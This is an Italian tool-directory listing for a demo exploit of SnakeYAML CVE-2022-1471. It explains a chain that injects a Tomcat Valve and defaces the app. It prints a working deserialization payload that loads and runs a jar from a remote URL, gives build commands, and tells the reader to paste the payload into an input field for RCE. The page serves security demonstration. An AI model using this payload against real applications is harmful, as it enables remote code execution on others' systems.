Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
yaml-payload — Payload di exploit SnakeYAML CVE-2022-1471 per demo | Kitploit
Strumenti/GitHubGitHub/seal-sec-demo-2/yaml-payload
Analisi Dinamica (Sandboxing)Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebApprendimento e FormazioneSviluppo Payload
GitHubseal-sec-demo-2/yaml-payload

yaml-payload

Payload di exploit SnakeYAML CVE-2022-1471 per demo

Vedi Repository
238 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

yaml-payload

Un payload di deserializzazione SnakeYAML per CVE-2022-1471, adattato da artsploit/yaml-payload (basato originariamente su mbechler/marshalsec).

Cosa fa

Quando caricato tramite l'uso non sicuro di Yaml.load() di SnakeYAML, questo payload prende il controllo dell'applicazione in esecuzione e la sostituisce con una pagina "You've Been PWNED":

  1. Inietta una Tomcat Valve nell'app Spring Boot in esecuzione tramite reflection, dirottando la porta 8080 esistente — lo stesso URL (incluso qualsiasi tunnel ngrok) ora serve la pagina PWNED
  2. Reindirizza automaticamente il browser — la risposta POST invia un redirect 302, quindi il browser carica immediatamente la pagina PWNED senza un aggiornamento manuale
  3. Apre il browser automaticamente all'URL corretto (URL pubblico di ngrok se disponibile, altrimenti localhost:8080)
  4. Stampa le prove dell'exploit nella console/log CI

Se l'iniezione della Tomcat Valve non è disponibile (ad esempio app non-Spring), torna a avviare un server HTTP standalone sulla porta 9999 e crea automaticamente un tunnel ngrok se ngrok è in esecuzione.

Funziona sia localmente su macOS che in pipeline CI/CD (ad esempio GitHub Actions su Ubuntu).

Come funziona la catena dell'exploit

Il payload SnakeYAML attiva ScriptEngineManager tramite Java SPI (Service Provider Interface):

!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["https://raw.githubusercontent.com/seal-sec-demo-2/yaml-payload/main/yaml-payload.jar"]]]]
  1. SnakeYAML istanzia java.net.URL puntando al yaml-payload.jar di questo repository
  2. Lo avvolge in un URLClassLoader per caricare classi remote
  3. ScriptEngineManager scopre e carica AwesomeScriptEngineFactory tramite META-INF/services/javax.script.ScriptEngineFactory
  4. Il costruttore della factory inietta una Valve nella pipeline Tomcat in esecuzione, sostituendo ogni risposta successiva su / con la pagina PWNED

Compilazione

Richiede JDK 17+:

javac -d build src/artsploit/AwesomeScriptEngineFactory.java
cp -r src/META-INF build/
cd build && jar -cfv ../yaml-payload.jar . && cd ..

Utilizzo

Usato come payload dell'exploit nel progetto maven-demo. Incolla la stringa del payload nel campo del nome dell'app per attivare RCE. La pagina dell'app verrà sostituita con la pagina PWNED alla richiesta successiva. Vedi il README di quel repository per le istruzioni complete della demo.

Scarica lo strumento